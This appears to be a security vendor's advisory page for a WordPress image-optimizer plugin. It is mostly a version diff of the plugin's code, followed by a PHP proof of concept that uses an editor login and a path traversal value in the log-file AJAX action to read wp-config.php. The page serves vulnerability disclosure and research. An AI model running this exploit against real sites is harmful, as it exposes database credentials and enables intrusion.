   public function load()
   {
 			$fs = wpSPIO()->filesystem();
--- a/shortpixel-image-optimiser/class/Controller/View/MultiSiteViewController.php
+++ b/shortpixel-image-optimiser/class/Controller/View/MultiSiteViewController.php
@@ -21,6 +21,7 @@

       public function __construct()
       {
+         parent::__construct();
          $this->model = new MultiSettingsModel();
       }

--- a/shortpixel-image-optimiser/class/Helper/UiHelper.php
+++ b/shortpixel-image-optimiser/class/Helper/UiHelper.php
@@ -503,7 +503,6 @@

 		$access = AccessModel::getInstance();

-
     if (! $keyControl->keyIsVerified())
     {
       $text = __('Invalid API Key. <a href="options-general.php?page=wp-shortpixel-settings">Check your Settings</a>','shortpixel-image-optimiser');
@@ -964,6 +963,7 @@
           'name' => __('Image Name', 'shortpixel-image-optimiser'),
           'path' => __('Image Path', 'shortpixel-image-optimiser'),
           'size' => __('Image Size', 'shortpixel-image-optimiser'),
+          'filesize' => __('Image File Size', 'shortpixel-image-optimiser'),
           'date' => __('Date', 'shortpixel-image-optimiser'),
       );

--- a/shortpixel-image-optimiser/class/Helper/UtilHelper.php
+++ b/shortpixel-image-optimiser/class/Helper/UtilHelper.php
@@ -61,6 +61,8 @@
     return $sizes;
   }

+
+
   // wp_normalize_path doesn't work for windows installs in some situations, so we can use it, but we still want some of the functions.
   public static function spNormalizePath($path)
   {
@@ -204,6 +206,20 @@
     return $params;
   }

+  public static function convertExclusionFileSizeToBytes($value)
+  {
+    return preg_replace_callback('/^s*(d+)s*(?:([kmgt]?)b?)?s*$/i', function ($m) {
+      switch (strtolower($m[2])) {
+        case 't': $m[1] *= 1024;
+        case 'g': $m[1] *= 1024;
+        case 'm': $m[1] *= 1024;
+        case 'k': $m[1] *= 1024;
+      }
+      return $m[1];
+    }, $value);
+
+  }
+
   public static function alterHtaccess($webp = false, $avif = false)
   {
     // [BS] Backward compat. 11/03/2019 - remove possible settings from root .htaccess
--- a/shortpixel-image-optimiser/class/Model/AiDataModel.php
+++ b/shortpixel-image-optimiser/class/Model/AiDataModel.php
@@ -141,10 +141,10 @@
         if (true === $settings->aiPreserve)
         {
             $currentData = $this->getCurrentData();
-            $ignore_fields = array_keys(array_filter($currentData));
+            $ignore_fields = array_diff(array_keys( array_filter($currentData) ), ['post_title']);
+            // Exception via array_diff :: post_title always overwrite because it is always filled
         }

-
        // $fields = ['ai_gen_alt', 'ai_gen_caption', 'ai_gen_description', 'ai_gen_filename'];
         $fields = ['alt', 'caption', 'description', 'filename', 'post_title'];

@@ -152,6 +152,17 @@
             'languages' => $settings->ai_language,
             'context' => $settings->ai_general_context,
         ];
+
+        if (true === $settings->ai_use_post)
+        {
+            $parent_title = $this->getConnectedPostTitle();
+            if (false !== $parent_title && false === is_null($parent_title))
+            {
+                $paramlist['use_parent_post_title'] = true;
+                $paramlist['parent_post_title'] = $parent_title;
+            }
+        }
+
         $returnDataList = [];
         $field_status = false; // check if there are any fields to process / not all excluded.

@@ -324,6 +335,24 @@

     }

+    protected function getConnectedPostTitle()
+    {
+         $attach_id = $this->attach_id;
+         $post_parent = get_post_parent($attach_id);
+         if (! is_null($post_parent))
+         {
+            $post = get_post($post_parent);
+            if (false === is_null($post))
+            {
+                $post_title = $post->post_title;
+                return $post_title;
+            }
+         }
+
+         return false;
+
+    }
+
     // Should return the current situation. If not stored in the database - or different from meta - uh something should be returned.
     protected function setCurrentData()
     {
--- a/shortpixel-image-optimiser/class/Model/Image/CustomImageModel.php
+++ b/shortpixel-image-optimiser/class/Model/Image/CustomImageModel.php
@@ -295,11 +295,11 @@
        do_action('shortpixel_before_restore_image', $this->get('id'));
        do_action('shortpixel/image/before_restore', $this);

-			 $defaults = array(
+			/* $defaults = array(
 	 			'keep_in_queue' => false, // used for bulk restore.
-	 		);
+	 		); */

-	 		$args = wp_parse_args($args, $defaults);
+	 	//	$args = wp_parse_args($args, $defaults);

        $bool = parent::restore();

@@ -328,10 +328,10 @@
 				  $return = false;
 			 }

-			 if ($args['keep_in_queue'] === false)
+			/* if ($args['keep_in_queue'] === false)
 			 {
 				 $this->dropFromQueue();
-			 }
+			 } */
 			 do_action('shortpixel/image/after_restore', $this, $this->id, $bool);

        return $return;
--- a/shortpixel-image-optimiser/class/Model/Image/ImageModel.php
+++ b/shortpixel-image-optimiser/class/Model/Image/ImageModel.php
@@ -68,6 +68,7 @@
     const P_EXCLUDE_EXTENSION_PDF = 11;
     const P_IMAGE_ZERO_SIZE = 12;
     const P_EXCLUDE_DATE = 13;
+    const P_EXCLUDE_FILESIZE = 14;

 		// For restorable status
 		const P_RESTORABLE = 109;
@@ -204,7 +205,8 @@
         (! $this->is_virtual() && ! $this->is_directory_writable() ||
         $this->isPathExcluded() ||
         $this->isExtensionExcluded() ||
-        $this->isSizeExcluded()
+        $this->isSizeExcluded() ||
+        $this->isFileSizeExcluded()
         )
 				|| $this->isOptimizePrevented() !== false
         || ! $this->isFileSizeOK() )
@@ -352,6 +354,9 @@
          case self::P_EXCLUDE_SIZE:
             $message = __('Image Size Excluded', 'shortpixel-image-optimiser');
          break;
+         case self::P_EXCLUDE_FILESIZE:
+            $message = __('Image Filesize excluded', 'shortpixel-image-optimiser');
+          break;
          case self::P_EXCLUDE_PATH:
             $message = __('Image Excluded', 'shortpixel-image-optimiser');
          break;
@@ -1073,7 +1078,6 @@
     {
         if ($this->hasBackup())
         {
-
            $file = $this->getBackupFile();
            $file->delete();
         }
@@ -1092,7 +1096,6 @@
         }
     }

-
     protected function handleWebp(FileModel $tempFile)
     {
          $fs = wpSPIO()->filesystem();
@@ -1134,7 +1137,6 @@
          return false;
     }

-
     protected function handleAvif(FileModel $tempFile)
     {
          $fs = wpSPIO()->filesystem();
@@ -1293,6 +1295,60 @@
 			 return $bool;
 		}

+    private function isFileSizeExcluded()
+    {
+        $excludePatterns = $this->getExcludePatterns();
+
+        if(!$excludePatterns || !is_array($excludePatterns)) { return false; }
+
+        $bool = false;
+        // Support for operators, more characters should be first in array
+        $operators = ['<=', '>=', '<', '>' ];
+
+        foreach($excludePatterns as $item)
+        {
+           $type = (isset($item['type'])) ? trim($item["type"]) : '';
+           if ('filesize' === $type)
+           {
+               $filesize =  $this->getFileSize();
+
+               // This indicates remote files / virtual / will not work with that.
+               if ($filesize <= 0)
+               {
+                  return false;
+               }
+
+               $item_value = $item['value'];
+               $operator = ">";
+
+               foreach($operators as $this_operator)
+               {
+                  if (strpos($item_value, $this_operator) !== false)
+                  {
+                     // Allow this operator.
+                     $operator = $this_operator;
+                     // Remove it from string
+                     $item_value = str_replace($this_operator, '', $item_value);
+                  }
+               }
+
+               $compare_bytes = (int) UtilHelper::convertExclusionFileSizeToBytes($item_value);
+
+               // About version_compare for this
+              $bool = version_compare($compare_bytes, $filesize, $operator);
+              //$bool2 =
+
+              if (true === $bool)
+              {
+                $this->processable_status = self::P_EXCLUDE_FILESIZE;
+                return $bool;
+              }
+           }
+        }
+        // Convert fileSize to bytes.
+
+    }
+
     protected function checkDateExcluded()
 		{
 			$excludePatterns = $this->getExcludePatterns();
@@ -1317,7 +1373,6 @@
     {
         if ($this->is_virtual() || $this->getFileSize() > 0 )
         {
-
            return true;
         }
         else {
--- a/shortpixel-image-optimiser/class/Model/Image/MediaLibraryModel.php
+++ b/shortpixel-image-optimiser/class/Model/Image/MediaLibraryModel.php
@@ -1935,11 +1935,12 @@
 	 */
 	public function restore($args = array())
 	{
+		/* Removing this, should be processes in Optimizers
 		$defaults = array(
 			'keep_in_queue' => false, // used for bulk restore.
-		);
+		); */

-		$args = wp_parse_args($args, $defaults);
+		//$args = wp_parse_args($args, $defaults);

 		$fs = wpSPIO()->filesystem();

@@ -2086,9 +2087,9 @@
 			$this->saveMeta(); // Save if something is not restored.
 		}

-		if ($args['keep_in_queue'] === false) {
+		/*if ($args['keep_in_queue'] === false) {
 			$this->dropFromQueue();
-		}
+		} */

 		update_post_meta($this->get('id'), '_wp_attachment_metadata', $wpmeta);

--- a/shortpixel-image-optimiser/class/Model/Queue/QueueItem.php
+++ b/shortpixel-image-optimiser/class/Model/Queue/QueueItem.php
@@ -18,6 +18,7 @@
 use ShortPixelControllerOptimizerActionController as ActionController;
 use ShortPixelHelperUiHelper;
 use ShortPixelModelAiDataModel;
+use stdClass;

 class QueueItem
 {
@@ -47,13 +48,23 @@
       $this->data = new QueueItemData(); // init
    }

+   /** Sets required ImageModel to the QueueItem
+    *
+    * @param ImageModel $imageModel
+    * @return void
+    */
    public function setModel(ImageModel $imageModel)
    {
       $this->imageModel = $imageModel;
       $this->item_id = $imageModel->get('id');
    }

-   public function setFromData($data)
+   /** Sets the data in QueueItem from data coming from the Shortpixel Queue
+    *
+    * @param mixed $data
+    * @return void
+    */
+   public function setFromQueueData($data)
    {
       foreach($data as $name => $value)
       {
@@ -61,11 +72,22 @@
       }
    }

+   /** Sets information to the (persistent) data object, which is saved in ShortPixel Queue
+    *
+    * @param string $name
+    * @param mixed $value
+    * @return void
+    */
    public function setData($name, $value)
    {
       $this->data->$name = $value;
    }

+   /** Without parameters returns the current block status of this item, otherwise applied required block ( true / false )
+    *
+    * @param boolean $block
+    * @return boolean|void
+    */
    public function block($block = null)
    {
       if (is_null($block)) {
@@ -75,11 +97,19 @@
       }
    }

+   /** Returns QueueItemData object for functions requiring this information
+    *
+    * @return QueueItemData
+    */
    public function data()
    {
       return $this->data;
    }

+   /** Returns result object which can be interpreted by UI . Creates it if null
+    *
+    * @return stdClass
+    */
    public function result()
    {

@@ -108,6 +138,12 @@
       return $result;
    }

+   /** Sets value of a property.
+    *
+    * @param string $name
+    * @param mixed $value
+    * @return void
+    */
    public function set($name, $value)
    {
       if (property_exists($this, $name)) {
@@ -134,6 +170,11 @@
       return $qItem;
    }

+   /** Gets property value by name, null if does not exists.
+    *
+    * @param mixed $name
+    * @return mixed
+    */
    public function __get($name)
    {
       if (property_exists($this, $name)) {
@@ -144,27 +185,10 @@
       return null;
    }

-   public function returnArray()
-   {
-      $array = [
-         'item_id' => $this->item_id,
-         'result' => $this->result,
-         'data' => $this->data->toObject(),
-      ];
-
-      return $array;
-   }
-
-   public function returnObject()
-   {
-      $object = new stdClass;
-      $object->item_id = $this->item_id;
-      $object->result = $this->result;
-      $object->data = $this->data->toObject();
-
-      return $object;
-   }
-
+   /** Return Array representation of this object, which is used to enqueue the Item.
+    *
+    * @return array{id: int, value: object, item_count: mixed, order: mixed}
+    */
    public function returnEnqueue()
    {
       $value = $this->data->toObject();
@@ -187,11 +211,19 @@

    }

+   /** Set debug flag, used in edit-media debug info.
+    *
+    * @return void
+    */
    public function setDebug()
    {
       $this->debug_active = true;
    }

+   /** Initiate new migrate action
+    *
+    * @return void
+    */
    public function newMigrateAction()
    {
       $this->newAction();
--- a/shortpixel-image-optimiser/class/Model/Queue/QueueItemData.php
+++ b/shortpixel-image-optimiser/class/Model/Queue/QueueItemData.php
@@ -12,7 +12,6 @@

 class QueueItemData
 {
-
         protected $urls;
         protected $forceExclusion;
         protected $action;
@@ -20,18 +19,17 @@
         protected $next_keepdata; // keep this data for next actions
         protected $smartcrop;
         protected $remote_id; // for Ai
-        protected $returndatalist;
-        protected $paramlist;
+        protected $returndatalist; // Datalist to return unharmed
+        protected $paramlist;  // Parameter list being used in the API
         protected $files;
         protected $flags;
-        protected $compressionType;
-        protected $compressionTypeRequested;
-        protected $tries;
-        protected $block;
-        protected $counts;
+        protected $compressionType;  // Compressiontype used for item
+        protected $compressionTypeRequested; // When converting, this is the compressiontype to be used after converting ( conversion lossless )
+        protected $tries; // Amount of tries done, limit to prevent hanging items
+        protected $block; // Block indicates this item is being processing somewhere and should be ignored during that process
+        protected $counts; // Amount of items, for UI counters
         protected $queue_list_order;  // optional from Queue class, the place of the queue. This might prevent 'next-action' to end up way at the bottom.

-
         public function __construct()
         {

@@ -84,6 +82,10 @@
               }
         }

+        /** Return stdClass object representation of database storage (without storing class representation)
+         *
+         * @return object
+         */
         public function toObject()
         {
              $vars = get_object_vars($this);
@@ -92,6 +94,11 @@

         }

+        /** Check if this item has a specific action to process
+         *
+         * @param mixed $action
+         * @return bool
+         */
         public function hasAction($action)
         {
             if (is_array($this->next_actions))
--- a/shortpixel-image-optimiser/class/view/bulk/part-finished.php
+++ b/shortpixel-image-optimiser/class/view/bulk/part-finished.php
@@ -11,7 +11,6 @@

   <?php $this->loadView('bulk/part-progressbar', false, ['part' => 'finished']); ?>

-
       <div class='average-optimization shortpixel-hide'>
           <p><?php esc_html_e('Your images are now this much smaller on average: ','shortpixel-image-optimiser'); ?></p>
           <svg class="opt-circle-average" viewBox="-10 0 130 100">
@@ -45,9 +44,9 @@
       </div>
 		<span class='hidden' data-check-media-total data-stats-media="total">0</span>

-    <span class='hidden' data-check-media-customOperation data-stats-media="isCustomOperation">-1</span>
+    <span class='hidden' data-check-total-customOperation data-stats-total="isCustomOperation">-1</span>

-		<div class='bulk-summary' data-check-visibility="false" data-control='data-check-media-customOperation'>
+		<div class='bulk-summary' data-check-visibility="false" data-control='data-check-total-customOperation'>
 		<p class='finished-paragraph'>
 			<?php printf(__('Congratulations, ShortPixel has optimized %s %s images and thumbs %s for your website! Yay to faster loading websites! %s', 'shortpixel-image-optimiser'), '<b>', '<span data-stats-total="total"></span>','</b>', '🎉');
 			?>
@@ -61,12 +60,13 @@
 		?> -->
 		</p>
 	</div>
+

     <div class='bulk-summary' data-check-visibility data-control="data-check-media-total">
       <div class='heading'>
         <span><i class='dashicons dashicons-images-alt2'> </i> <?php esc_html_e('Media Library','shortpixel-image-optimiser'); ?>
           <?php if (false !== $this->view->customOperationMedia) {
-             echo " - <span class='special-op'>" . $this->view->customOperationMedia . "</span>";
+             echo "</br><span class='special-op'>" . $this->view->customOperationMedia . "</span>";
           } ?>
         </span>

@@ -114,7 +114,7 @@
       <div class='heading'>
         <span><i class='dashicons dashicons-open-folder'> </i> <?php esc_html_e('Custom Media','shortpixel-image-optimiser'); ?>
           <?php if (false !== $this->view->customOperationCustom) {
-             echo " - <span class='special-op'>" . $this->view->customOperationCustom . "</span>";
+             echo "</br><span class='special-op'>" . $this->view->customOperationCustom . "</span>";
           } ?>
         </span>
         <span>
--- a/shortpixel-image-optimiser/class/view/bulk/part-process.php
+++ b/shortpixel-image-optimiser/class/view/bulk/part-process.php
@@ -67,7 +67,7 @@
         <span><i class='dashicons dashicons-format-image'> </i> <?php esc_html_e('Media Library' ,'shortpixel-image-optimiser'); ?>
               <?php printf(esc_html__('( %s items )', 'shortpixel-image-optimiser'), '<i data-stats-media="total">--</i>'); ?>
         <?php if (false !== $this->view->customOperationMedia) {
-            echo " - <span class='special-op'>" . $this->view->customOperationMedia . "</span>";
+            echo "</br><span class='special-op'>" . $this->view->customOperationMedia . "</span>";
          } ?>
         </span>
         <span>
@@ -117,7 +117,7 @@
       <div class='heading'>
         <span><i class='dashicons dashicons-open-folder'> </i> <?php esc_html_e('Custom Media', 'shortpixel-image-optimiser'); ?>
           <?php if (false !== $this->view->customOperationCustom) {
-             echo " - <span class='special-op'>" . $this->view->customOperationCustom . "</span>";
+             echo "</br><span class='special-op'>" . $this->view->customOperationCustom . "</span>";
           } ?>
         </span>
         <span>
--- a/shortpixel-image-optimiser/class/view/settings/part-ai.php
+++ b/shortpixel-image-optimiser/class/view/settings/part-ai.php
@@ -89,6 +89,7 @@
             'name' => 'aiPreserve',
             'checked' => $view->data->aiPreserve,
             'label' => esc_html__('Preserve existing Image SEO data', 'shortpixel-image-optimiser'),
+            'data' => ['data-toggle="ai_overwrite_warning"']
           ]
         );
         ?>
@@ -241,7 +242,11 @@
           <textarea name="ai_post_title_context"><?php echo $view->data->ai_post_title_context ?></textarea>

         </content>
-
+        <warning class="ai_overwrite_warning">
+           <message>
+          <?php _e('SPIO may still write image title when preserving data, since image title is always set', 'shortpixel-image-optimiser'); ?>
+          </message>
+        </warning>
       </setting>


--- a/shortpixel-image-optimiser/class/view/settings/part-exclusions.php
+++ b/shortpixel-image-optimiser/class/view/settings/part-exclusions.php
@@ -172,6 +172,9 @@
                         case 'size':
                           $field_name = $typeStrings['size']; // __('Size', 'shortpixel-image-optimiser');
                         break;
+                        case 'filesize':
+                          $field_name = $typeStrings['filesize'];
+                        break;
                         case 'date':
                           $field_name = $typeStrings['date']; // ??
                         break;
@@ -217,7 +220,6 @@
                  }
                  echo "</ul>";

-
          ?>
                      <div class='new-exclusion not-visible'>
                          <!-- HEADER -->
@@ -225,23 +227,21 @@
                          <h3 class='new-title not-visible'><?php _e('Add New Exclusion' ,'shortpixel-image-optimiser'); ?></h3>
                          <h3 class='edit-title not-visible'><?php _e('Edit Exclusion' ,'shortpixel-image-optimiser'); ?></h3>

-
                          <div>
                            <label><?php _e('Type:', 'shortpixel-image-optimiser'); ?></label>
                             <select name="exclusion-type" class='new-exclusion-type'>
                                <option value='name'><?php _e('Image Name', 'shortpixel-image-optimiser'); ?></option>
                                <option value='path' data-example="/path/"><?php _e('Image Path', 'shortpixel-image-optimiser'); ?></option>
                                <option value='size' data-example="widthXheight-widthXheight"><?php _e('Image Size', 'shortpixel-image-optimiser'); ?></option>
+                          <!--     <option value='filesize' data-example="500KB / 1MB"><?php _e('Image Filesize', 'shortpixel-image-optimiser'); ?></option> -->
                                <option value='date' data-example="YYYY-MM-DD"><?php _e('Date', 'shortpixel-image-optimiser') ?></option>
                            </select>
                          </div>

-                         <div class='value-and-size'>
-
                              <div class='value-option '>
                                <label><?php _e('Value:', 'shortpixel-image-optimiser'); ?></label>
                                <input type="text" name="exclusion-value" value="">
-                             </div>
+                         </div>

                              <div class='size-option not-visible'>
                                  <div class='exact-option'>
@@ -277,20 +277,31 @@
                                     </div>
                                  </div>
                              </div>
-                        </div> <!-- value / size container -->

                         <div class='date-option not-visible'>
                         <label><?php _e('Date Options:', 'shortpixel-image-optimiser'); ?></label>
-
-
                               <select name='exclusion-when'>
                                 <option value='before'><?php _e('Before this date', 'shortpixel-image-optimiser'); ?></option>
                                 <option value='after'><?php _e('After this date', 'shortpixel-image-optimiser'); ?></option>
                               </select>

-                </div>
+                        </div>
+                        <div class='operator-option not-visible'>
+                          <label> </label>
+                          <input type="number" name="exclusion-filesize-value" value='' class='small'>
+                          <select name="exclusion-filesize-denom">
+                            <option value="B"><?php _e('Bytes', 'shortpixel-image-optimiser'); ?></option>
+                            <option value="K" selected><?php _e('Kilobytes (KB)', 'shortpixel-image-optimiser'); ?></option>
+                            <option value="M"><?php _e('Megabytes (MB)', 'shortpixel-image-optimiser'); ?></option>
+                          </select>
+                          <select name='exclusion-filesize-operator'>
+                              <option value='lower'><?php _e('Exclude smaller than given filesize', 'shortpixel-image-optimiser'); ?></option>
+                              <option value='higher' selected><?php _e('Exclude higher than given filesize', 'shortpixel-image-optimiser'); ?></option>
+                          </select>

-                         <div>
+                        </div>
+
+                         <div class='applyto-option' >
                            <label><?php _e('Apply To:', 'shortpixel-image-optimiser'); ?></label>
                            <select name='apply-select' class='thumbnail-type-option'>
                                <option value='all'><?php _e('All Images', 'shortpixel-image-optimiser'); ?></option>
--- a/shortpixel-image-optimiser/class/view/snippets/part-aitext.php
+++ b/shortpixel-image-optimiser/class/view/snippets/part-aitext.php
@@ -16,7 +16,7 @@
 $has_data = $this->data['has_data'];
 //$isSupported = $this->data['isSupported'];
 $isDifferent = $this->data['isDifferent'];
-$dataItems = implode(',',$this->data['dataItems']);
+$dataItems = implode(', ',$this->data['dataItems']);

 $is_processable = $this->data['is_processable'];
 $processable_reason = $this->data['processable_reason'];
--- a/shortpixel-image-optimiser/class/view/view-other-media.php
+++ b/shortpixel-image-optimiser/class/view/view-other-media.php
@@ -80,7 +80,6 @@

         foreach($this->view->items as $item):

-
         ?>

         <div class='item item-<?php echo esc_attr($item->get('id')) ?>'>
@@ -145,7 +144,8 @@
 								   	<a href="<?php echo $link ?>" <?php echo esc_attr($newtab); ?> class="<?php echo $classes ?>"><?php echo $action['text'] ?></a>
 								    <?php
 										$i++;
-								  endforeach;UiHelper::getActions($item);
+								  endforeach;
+                  UiHelper::getActions($item);

 								endif;
                 ?>
--- a/shortpixel-image-optimiser/shortpixel-plugin.php
+++ b/shortpixel-image-optimiser/shortpixel-plugin.php
@@ -304,7 +304,7 @@

 	public function admin_network_pages()
 	{
-		  	add_menu_page(__('Shortpixel MU', 'shortpixel-image-optimiser'), __('Shortpixel', 'shortpixel_image_optimiser'), 'manage_sites', 'shortpixel-network-settings', [$this, 'route'], $this->plugin_url('res/img/shortpixel.png') );
+	//	  	add_menu_page(__('Shortpixel MU', 'shortpixel-image-optimiser'), __('Shortpixel', 'shortpixel_image_optimiser'), 'manage_sites', 'shortpixel-network-settings', [$this, 'route'], $this->plugin_url('res/img/shortpixel.png') );
 	}

 	/** All scripts should be registed, not enqueued here (unless global wp-admin is needed )
@@ -694,9 +694,9 @@
 						$controller = 'ShortPixelControllerViewSettingsViewController';
 						wp_enqueue_media();
         	break;
-					 case 'shortpixel-network-settings':
+			case 'shortpixel-network-settings':
 					 	$controller = 'ShortPixelControllerViewMultiSiteViewController';
-					break;
+			break;
           case 'wp-short-pixel-custom': // other media
 						if ('folders'  === $template_part )
 						{
--- a/shortpixel-image-optimiser/wp-shortpixel.php
+++ b/shortpixel-image-optimiser/wp-shortpixel.php
@@ -3,7 +3,7 @@
  * Plugin Name: ShortPixel Image Optimizer
  * Plugin URI: https://shortpixel.com/
  * Description: ShortPixel optimizes images automatically, while guarding the quality of your images. Check your <a href="/wp-admin/options-general.php?page=wp-shortpixel-settings" target="_blank">Settings > ShortPixel</a> page on how to start optimizing your image library and make your we

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1246 - ShortPixel Image Optimizer <= 6.4.2 - Authenticated (Editor+) Arbitrary File Read via 'loadFile' Parameter

<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'editor_user';
$password = 'editor_password';
$file_to_read = '../../../../wp-config.php';

// Step 1: Authenticate and obtain WordPress cookies
$login_url = str_replace('/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => admin_url(),
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Exploit the loadLogFile AJAX action
$post_data = [
    'action' => 'shortpixel_loadLogFile',
    'data[logFile]' => $file_to_read,
    'data[type]' => 'bulk'
];

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$ajax_response = curl_exec($ch);

// Step 3: Parse and display the file contents
$result = json_decode($ajax_response, true);
if (isset($result['bulk']['result']) && !isset($result['bulk']['is_error'])) {
    echo "File contents:n";
    echo htmlspecialchars($result['bulk']['result']);
} else {
    echo "Exploit failed. Response:n";
    print_r($result);
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School